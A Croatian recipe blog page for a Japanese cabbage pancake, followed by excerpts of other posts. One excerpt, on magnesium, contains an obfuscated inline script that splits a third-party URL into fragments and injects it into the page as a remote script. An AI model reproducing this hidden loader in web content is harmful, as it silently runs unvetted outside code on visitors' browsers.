JAPANSKA PALAČINKA OD KUPUSA 🥞





Japanska palačinka s kupusom 



Ovaj recept donosi brzo i zasitno jelo koje se posebno ističe bogatim umacima, a pogodan je i za iskorištavanje povrća koje se već nalazi u hladnjaku.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Japanska palačinka s kupusom 


Sastojci:

  • 4 šalice sitno ribanog zelenog kupusa (1 manja glavica)


  • ¾ šalice glatkog brašna


  • ½ žličice svježeg ribanog đumbira


  • 4 velika jaja, lagano umućena


  • 3 mlada luka, tanko narezana (bijeli i zeleni dio odvojeni)


  • 2 žlice soja umaka, podijeljene


  • 2 žlice neutralnog ulja (npr. repičino)


  • ¼ šalice majoneze


  • 1 žličica srirache


  • ¼ šalice kečapa


  • 1 žlica Worcestershire umaka (ili vegetarijanske verzije)


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

Priprema smjese


U velikoj zdjeli pomiješaju se kupus, brašno, đumbir, jaja, bijeli dijelovi mladog luka i 1 žlica soja umaka.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Pečenje palačinke

Ulje se zagrije u velikoj neljepljivoj tavi ili tavi od lijevanog željeza na srednje jakoj vatri. Smjesa se ravnomjerno rasporedi po dnu tave, poklopi i peče dok donja strana ne postane zlatnosmeđa, oko 8 minuta.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Okretanje i dovršetak pečenja

Na tavu se čvrsto prisloni ravni tanjur, zatim se sve zajedno okrene kako bi palačinka prešla na tanjur. Palačinka se pažljivo vrati u tavu, pečena strana okrenuta prema gore, te se peče još oko 5 minuta, dok i druga strana ne porumeni. Gotova palačinka prebaci se na dasku ili tanjur za posluživanje.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Priprema umaka

U jednoj posudici pomiješaju se majoneza, sriracha i 2 žličice vode, po potrebi uz dodatak još malo vode kako bi se dobila tekstura pogodna za prelijevanje. U drugoj posudici pomiješaju se kečap, Worcestershire umak i preostala 1 žlica soja umaka.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Završetak

Palačinka se prelije umacima i pospe zelenim dijelom mladog luka. Reže se na trokute i poslužuje.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više